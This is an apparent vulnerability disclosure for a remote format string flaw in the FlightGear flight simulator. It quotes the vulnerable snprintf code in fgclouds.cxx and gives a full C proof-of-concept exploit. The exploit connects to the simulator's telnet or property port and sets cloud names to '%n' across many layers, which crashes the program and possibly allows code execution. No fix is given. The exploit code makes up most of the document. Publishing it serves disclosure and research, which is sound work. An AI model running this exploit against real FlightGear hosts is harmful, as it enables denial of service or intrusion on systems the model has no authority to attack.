Flightgear remote format string

Introduction:

FlightGear is an open-source flight simulator.  It supports a variety of popular platforms (Windows, Mac, Linux, etc.) and is developed by skilled volunteers from around the world.  Source code for the entire project is available and licensed under the GNU General Public License.

Bug:

Flightgear allows remote control of simulation parameters through property tree, for instance when executed by:

 fgfs.exe --fg-root=C:\Program Files\FlightGear 2.4.0\data --props=5501 

    or

 fgfs.exe --fg-root=C:\Program Files\FlightGear 2.4.0\data --telnet=5501

When some special parameters related with clouds are changed, for example:

 set /environment/cloudlayers/layers/cu/cloud/name %n  

It generates a remote format string vulnerability that could crash the application or potentially execute arbitrary code under certain conditions.

The vulnerable code is in flightgear/src/Environment/fgclouds.cxx line 235

                double count = acloud->getDoubleValue("count", 1.0);  
                tCloudVariety[CloudVarietyCount].count = count;  
                int variety = 0;  
                cloud_name = cloud_name + "-%d";  
                char variety_name[50];  
                do {  
                     variety++;  
                     snprintf(variety_name, sizeof(variety_name) - 1, cloud_name.c_str(), variety); 
                } while( box_def_root->getChild(variety_name, 0, false) );  
                totalCount += count;  
                if( CloudVarietyCount < 20 )  
                     CloudVarietyCount++;  
           }  
      }  
      totalCount = 1.0 / totalCount;  

because it uses cloud names as format string parameter in snprintf function.

Exploit:

 /*   
 # Vendor Homepage: http://www.flightgear.org/  
 # Software Link: http://www.flightgear.org/download/  
 # Version: Tested on versions 2.0, 2.4.  
 # Tested on: Windows (Linux user assisted)  
 # CVE : None  
   Flightgear allows remote control through Property tree.  
   It is vulnerable to remote format string vulnerability   
   when some special parameters related with clouds are changed.  
   To test this exploit, run Flightgear with remote input, for example:  
   fgfs.exe --fg-root="C:\Program Files\FlightGear 2.4.0\data" --props=5501 --disable-real-weather-fetch  
   or  
   fgfs.exe --fg-root="C:\Program Files\FlightGear 2.4.0\data" --telnet=5501 --disable-real-weather-fetch    
   gcc -O2 -g -pedantic -Wall poc.c -o poc  
   USAGE: ./poc [hostname [port]]   
   More information: http://kuronosec.blogspot.com/  
 */  
 #include <stdio.h>  
 #include <errno.h>  
 #include <stdlib.h>  
 #include <unistd.h>  
 #include <sys/time.h>  
 #include <sys/types.h>  
 #include <sys/socket.h>  
 #include <netdb.h>  
 #include <netinet/in.h>  
 #include <stdarg.h>  
 #include <string.h>  
 #define DFLTHOST     "127.0.0.1"  
 #define DFLTPORT     5501  
 #define MAXMSG          256  
 #define fgfsclose     close  
 void init_sockaddr(struct sockaddr_in *name, const char *hostname, unsigned port);  
 int fgfswrite(int sock, char *msg, ...);  
 const char *fgfsread(int sock, int wait);  
 void fgfsflush(int sock);  
 int fgfswrite(int sock, char *msg, ...)  
 {  
      va_list va;  
      ssize_t len;  
      char buf[MAXMSG];  
      va_start(va, msg);  
      vsnprintf(buf, MAXMSG - 2, msg, va);  
      va_end(va);  
      printf("SEND: \t<%s>\n", buf);  
      strcat(buf, "\015\012");  
      len = write(sock, buf, strlen(buf));  
      if (len < 0) {  
           perror("fgfswrite");  
           exit(EXIT_FAILURE);  
      }  
      return len;  
 }  
 const char *fgfsread(int sock, int timeout)  
 {  
      static char buf[MAXMSG];  
      char *p;  
      fd_set ready;  
      struct timeval tv;  
      ssize_t len;  
      FD_ZERO(&ready);  
      FD_SET(sock, &ready);  
      tv.tv_sec = timeout;  
      tv.tv_usec = 0;  
      if (!select(32, &ready, 0, 0, &tv))  
           return NULL;  
      len = read(sock, buf, MAXMSG - 1);  
      if (len < 0) {  
           perror("fgfsread");  
           exit(EXIT_FAILURE);  
      }   
      if (len == 0)  
           return NULL;  
      for (p = &buf[len - 1]; p >= buf; p--)  
           if (*p != '\015' && *p != '\012')  
                break;  
      *++p = '\0';  
      return strlen(buf) ? buf : NULL;  
 }  
 void fgfsflush(int sock)  
 {  
      const char *p;  
      while ((p = fgfsread(sock, 0)) != NULL) {  
           printf("IGNORE: \t<%s>\n", p);  
      }  
 }  
 int fgfsconnect(const char *hostname, const int port)  
 {  
      struct sockaddr_in serv_addr;  
      struct hostent *hostinfo;  
      int sock;  
      sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);  
      if (sock < 0) {  
           perror("fgfsconnect/socket");  
           return -1;  
      }  
      hostinfo = gethostbyname(hostname);  
      if (hostinfo == NULL) {  
           fprintf(stderr, "fgfsconnect: unknown host: \"%s\"\n", hostname);  
           close(sock);  
           return -2;  
      }  
      serv_addr.sin_family = AF_INET;  
      serv_addr.sin_port = htons(port);  
      serv_addr.sin_addr = *(struct in_addr *)hostinfo->h_addr;  
      if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {  
           perror("fgfsconnect/connect");  
           close(sock);  
           return -3;  
      }  
      return sock;  
 }  
 int main(int argc, char **argv)  
 {  
      int sock;  
      unsigned port;  
      const char *hostname, *p;  
     int i;  
      hostname = argc > 1 ? argv[1] : DFLTHOST;  
      port = argc > 2 ? atoi(argv[2]) : DFLTPORT;  
      sock = fgfsconnect(hostname, port);  
      if (sock < 0)  
           return EXIT_FAILURE;  
      fgfswrite(sock, "data");  
     fgfswrite(sock, "set /sim/rendering/clouds3d-enable true");  
     fgfswrite(sock, "set /environment/clouds");  
     for (i=0; i < 5; i++) {  
           fgfswrite(sock, "set /environment/cloudlayers/layers[%d]/cu/cloud/name %%n", i);  
           fgfswrite(sock, "set /environment/cloudlayers/layers[%d]/cb/cloud/name %%n", i);  
           fgfswrite(sock, "set /environment/cloudlayers/layers[%d]/ac/cloud/name %%n", i);  
           fgfswrite(sock, "set /environment/cloudlayers/layers[%d]/st/cloud/name %%n", i);  
           fgfswrite(sock, "set /environment/cloudlayers/layers[%d]/ns/cloud/name %%n", i);  
     }  
      p = fgfsread(sock, 3);  
      if (p != NULL)  
           printf("READ: \t<%s>\n", p);  
     for (i=0; i < 5; i++) {  
           fgfswrite(sock, "set /environment/clouds/layer[%d]/coverage scattered", i);  
           fgfswrite(sock, "set /environment/clouds/layer[%d]/coverage cirrus", i);  
           fgfswrite(sock, "set /environment/clouds/layer[%d]/coverage clear", i);  
     }  
     p = fgfsread(sock, 3);  
      if (p != NULL)  
           printf("READ: \t<%s>\n", p);  
      fgfswrite(sock, "quit");  
      fgfsclose(sock);  
      return EXIT_SUCCESS;  
 }  

Fix:

No fix.